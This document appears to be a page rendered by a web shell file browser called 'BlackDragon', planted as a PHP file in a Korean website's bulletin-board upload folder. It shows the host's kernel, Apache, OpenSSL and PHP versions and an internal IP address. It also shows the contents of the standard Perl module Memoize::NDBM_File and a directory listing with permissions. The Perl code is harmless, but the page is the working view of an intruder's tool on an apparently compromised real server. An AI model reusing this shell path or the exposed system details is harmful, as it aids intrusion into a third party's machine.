walking.or.kr:80

Linux gcloud-seoul-ac4c28f9ef4b3e1b6ecaa706e0113ee7 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
10.25.199.2

File Name : NDBM_File.pm

package Memoize::NDBM_File;

=head1 NAME

Memoize::NDBM_File - glue to provide EXISTS for NDBM_File for Storable use

=head1 DESCRIPTION

See L<Memoize>.

=cut

use NDBM_File;
@ISA = qw(NDBM_File);
$VERSION = '1.02';

$Verbose = 0;

sub AUTOLOAD {
  warn "Nonexistent function $AUTOLOAD invoked in Memoize::NDBM_File\n";
}

sub import {
  warn "Importing Memoize::NDBM_File\n" if $Verbose;
}

my %keylist;

# This is so ridiculous...
sub _backhash {
  my $self = shift;
  my %fakehash;
  my $k; 
  for ($k = $self->FIRSTKEY(); defined $k; $k = $self->NEXTKEY($k)) {
    $fakehash{$k} = undef;
  }
  $keylist{$self} = \%fakehash;
}

sub EXISTS {
  warn "Memoize::NDBM_File EXISTS (@_)\n" if $Verbose;
  my $self = shift;
  _backhash($self)  unless exists $keylist{$self};
  my $r = exists $keylist{$self}{$_[0]};
  warn "Memoize::NDBM_File EXISTS (@_) ==> $r\n" if $Verbose;
  $r;
}

sub DEFINED {
  warn "Memoize::NDBM_File DEFINED (@_)\n" if $Verbose;
  my $self = shift;
  _backhash($self)  unless exists $keylist{$self};
  defined $keylist{$self}{$_[0]};
}

sub DESTROY {
  warn "Memoize::NDBM_File DESTROY (@_)\n" if $Verbose;
  my $self = shift;
  delete $keylist{$self};   # So much for reference counting...
  $self->SUPER::DESTROY(@_);
}

# Maybe establish the keylist at TIEHASH time instead?

sub STORE {
  warn "Memoize::NDBM_File STORE (@_)\n" if $VERBOSE;
  my $self = shift;
  $keylist{$self}{$_[0]} = undef;
  $self->SUPER::STORE(@_);
}

# Inherit FETCH and TIEHASH

System Information
*ReClick For Close
File : BlackDragon /bbs/upfile/notice/202307230555476_1.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2021-03-09 12:39:47
..	dir	-	root/root	0755	2021-03-09 12:39:48
AnyDBM_File.pm	text/plain	674 B	root/root	0644	2021-02-02 04:32:27
Expire.pm	text/plain	11.43 KB	root/root	0644	2021-02-02 04:32:27
ExpireFile.pm	text/plain	1.03 KB	root/root	0644	2021-02-02 04:32:27
ExpireTest.pm	text/plain	883 B	root/root	0644	2021-02-02 04:32:27
NDBM_File.pm	text/plain	1.45 KB	root/root	0644	2021-02-02 04:32:27
SDBM_File.pm	text/plain	1.45 KB	root/root	0644	2021-02-02 04:32:27
Storable.pm	text/plain	1.38 KB	root/root	0644	2021-02-02 04:32:27